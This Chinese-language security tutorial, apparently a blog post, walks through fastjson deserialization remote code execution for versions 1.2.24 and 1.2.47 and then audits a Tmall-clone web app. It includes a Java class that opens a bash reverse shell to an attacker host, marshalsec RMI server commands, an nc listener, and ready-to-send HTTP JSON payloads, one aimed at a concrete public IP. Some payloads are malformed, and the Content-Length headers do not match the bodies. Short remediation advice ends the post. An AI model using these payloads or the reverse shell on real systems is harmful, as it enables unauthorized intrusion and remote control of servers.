总字符数: 8.01K

代码: 2.73K, 文本: 1.36K

预计阅读时间: 18 分钟

fastjson < 1.2.47才有漏洞
如何判断是否有fastjson:

  1. {}不闭合有报错
  2. < 1.2.6 使用dos方式看响应时间
    {"a"="\x
  3. dnslog,容易被waf拦截

漏洞概述

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性.通过查找代码中相关的方法,即可构造出一些恶意利用链.

根据官方给出的补丁文件,主要的更新在这个 checkAutoType 函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中.

1.2.24-rce

漏洞复现

  1. 首先将exp进行编译(javac TouchFile.java),将以下内容保存为TouchFile.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import java.lang.Runtime;
    import java.lang.Process;

    public class TouchFile {
    static {
    try {
    Runtime r = Runtime.getRuntime();
    Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"});
    p.waitFor();
    } catch (Exception e) {
    }
    }
    }
  2. TouchFile.Classmarshalsec-0.0.3-SNAPSHOT-all.jar放在同一目录下

  3. 启动一个RMI服务,加载远程类TouchFile.class
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR-VPS-IP:8080/#TouchFile" 8899

  4. nc监听nc -lvvp 6666

  5. 修改下方Payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST / HTTP/1.1
    Host: 43.143.129.10:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
    Accept-Language: en-US,en;q=0.5
    Connection: close
    Content-Type: application/json
    Content-Length: 35


    {
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.2.187:9999/TouchFile",
    "autoCommit":true
    }
    }
  6. 结果

  7. 反弹

1.2.47-rce

漏洞复现

  1. 首先将exp进行编译(javac TouchFile.java),将以下内容保存为TouchFile.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import java.lang.Runtime;
    import java.lang.Process;

    public class TouchFile {
    static {
    try {
    Runtime r = Runtime.getRuntime();
    Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"});
    p.waitFor();
    } catch (Exception e) {
    }
    }
    }
  2. 修改下方Payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    POST / HTTP/1.1
    Host: YOUR-IP:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
    Accept-Language: en-US,en;q=0.5
    Connection: close
    Content-Type: application/json
    Content-Length: 35


    {@type":"java.lang.AutoCloseable"
  3. TouchFile.Classmarshalsec-0.0.3-SNAPSHOT-all.jar放在同一目录下

    1
    2
    # 使用python 启动服务
    python3 -m http.server 8080
  4. 启动一个RMI服务,加载远程类TouchFile.class
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR-VPS-IP:8080/#TouchFile" 8899

  5. nc监听nc -lvvp 6666

  6. 修改下方Payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    POST / HTTP/1.1
    Host: 43.143.129.10:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
    Accept-Language: en-US,en;q=0.5
    Connection: close
    Content-Type: application/json
    Content-Length: 35


    {
    "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://YOUR-VPS-IP:8899/TouchFile",
    "autoCommit":true
    }
  7. 结果

  8. 反弹

修复建议

升级JDK

6u211 / 7u201 / 8u191 /11.0.1

升级Fastjson到最新版

fastjson.parser.safeMode=true

使用安全产品过滤非法内容

更换其它序列化工具

Jackson/Gson

代码审计

某仿天猫项目来进行测试:
本地开启mysql服务,添加tmalldemodb数据库,运行/sqls\文件夹中的tmalldemodb.sql文件
使用IDEA打开项目,在resource/application.properties文件配置数据库,启动服务即可

1
2
3
4
前台页面:http://localhost:8088/tmall
后台页面:http://localhost:8088/tmall/admin
前台测试用户:a120 123456
后台管理员:admin 123456

这里为了更好复现漏洞,将pom.xml文件中的fastjson版本换为1.2.47

搜索项目中fastjson反序列化的点(即JSON.parseObject方法):

可以看到,这里对propertyJson进行了反序列化处理:

propertyJson进行追踪,看到是后台添加商品信息输入了该字段:

访问添加商品的页面,随便添加一个商品,并使用burp监听数据包:

可以看到这里向propertyJson传入了空的json值,我们可以发送到repeater中判断这个点是否正确.
使用dnslog来探测fastjson:

1
2
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

尝试对我们的dnslog进行访问:

可以看到成功收到请求:

说明确实这里存在fastjson反序列化的点

尝试对该点进行利用
首先编译命令执行的java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

在本地或vps开启一个web服务,使恶意class文件能够被访问
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并指定加载远程类calc.class:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:7777/#Calc" 9999

使用burp发送payload,成功弹出计算器:

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Calc","autoCommit":true}}